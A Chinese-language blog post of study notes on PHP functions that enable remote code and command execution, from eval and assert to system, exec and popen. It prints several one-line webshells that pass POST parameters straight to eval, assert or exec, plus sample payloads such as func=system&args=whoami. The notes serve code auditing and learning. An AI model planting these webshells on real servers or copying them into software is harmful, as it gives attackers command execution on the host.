04.RCE漏洞函数
本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、代码执行函数:

利用系统函数实现命令执行,在php下,允许命令执行的函数有:

1.eval():将字符串作为php代码执行

(eval 严格意义上并不是函数,而是PHP语言构造器,)

注意:

  • eval() 函数传入的参数必须为PHP代码,即要以分号结尾;如果想要执行系统命令,必须加上 命令执行函数,如 system("命令");
  • 因为是语言构造器,不能用作动态执行,不能制作==免杀函数==。
<?php @eval($_POST['cmd']);?>

2.assert():将字符串作为php代码执行的函数

代码执行只适用于php5版本,php7.0 则可以用配置文件去除 assert的代码执行功能,php7.1 assert将不能执行代码 , php7.2 assert将不能传入字符串参数

注意:assert()函数是直接将传入的参数当成PHP代码执行,不需要以分号结尾

3.preg_replace():正则匹配替换字符串;

preg_replace : 正则表达式替换函数, 当第一个参数使用/e作为修饰符,会把第二个参数传入的字符串当作php代码执行,第三个参数能够满足第一个参数匹配的字符串,如果不会写,就尽量和第一个参数//里的字符串保 持一

preg_replace("/abc/e", $_REQUEST['cmd'], "abc");

4.array_map

$function_name = $_POST['func']; // 从post参数func获取函数名 $function_args = $_POST['args']; // 从post参数args获取参数值 $arr[0] = $function_args; // 把参数值换成数组 array_map($function_name, $arr); // array_map执行 func(args)
使用方法: body: func=system&args=whoami // system("whoami"); func=phpinfo&args=1 // phpinfo(1)

5.call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

<?php
 call_user_func("assert",$_POST['cmd']); 
//传入的参数作为assert函数的参数
//cmd=system(whoami)
 ?>

注意:eval不行,因为不是函数

6.call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

<?php  
$cmd=$_POST['cmd']; 
$array[0]=$cmd; 
call_user_func_array("assert",$array); 
//将传入的参数作为数组的第一个值传递给assert函数
//cmd=system(whoami)
 ?>

<?php
call_user_func_array("assert",$_POST['cmd']); 
?>
//cmd[]=system("ipconfig");

7.create_function():主要创建匿名函数;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞

其他函数:
ob_start()、unserialize()、creat_function()
、usort()、uasort()、uksort()、
array_filter()、
array_reduce()、
array_map()……

二、系统命令执行函数

对于直接执行系统命令的代码函数也是有很多的。

1.system():能将字符串作为OS命令执行,且返回命令执行结果;

2.exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

如果想得到结果,可以使用第二个参数,让其输出到指定的数组。此数组一个记录代表输出的一行。

<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
// echo exec('whoami');
// exec('ls -la', $return);
// var_dump($return); 
$cmd=$_POST['cmd']; 
@exec($cmd, $return); 
var_dump($return) 
?>

3.shell_exec():能将字符串作为OS命令执行

shell_exec("whoami");
shell_exec($_REQUEST['cmd']);

默认不会输出命令的执行结果

echo shell_exec("whoami");
var_dump(shell_exec("whoami"))

4.passthru():能将字符串作为OS命令执行,默认会输出命令的执行结果

passthru("whoami"); 
passthru($_REQUEST['cmd'])

5.popen():打开进程文件指针

popen("whoami",'r');

不会输出命令的执行结果, 且echo也不会输出

<?php
popen("whoami > 1.txt","r"); // 执行whoami把执行结果导出到1.txt 
echo file_get_contents("1.txt"); // 读取1.txt的内容 
unlink("1.txt"); // 删除1.txt
?>

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序;

反引号:反引号内的字符串会被解析为OS命令;

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇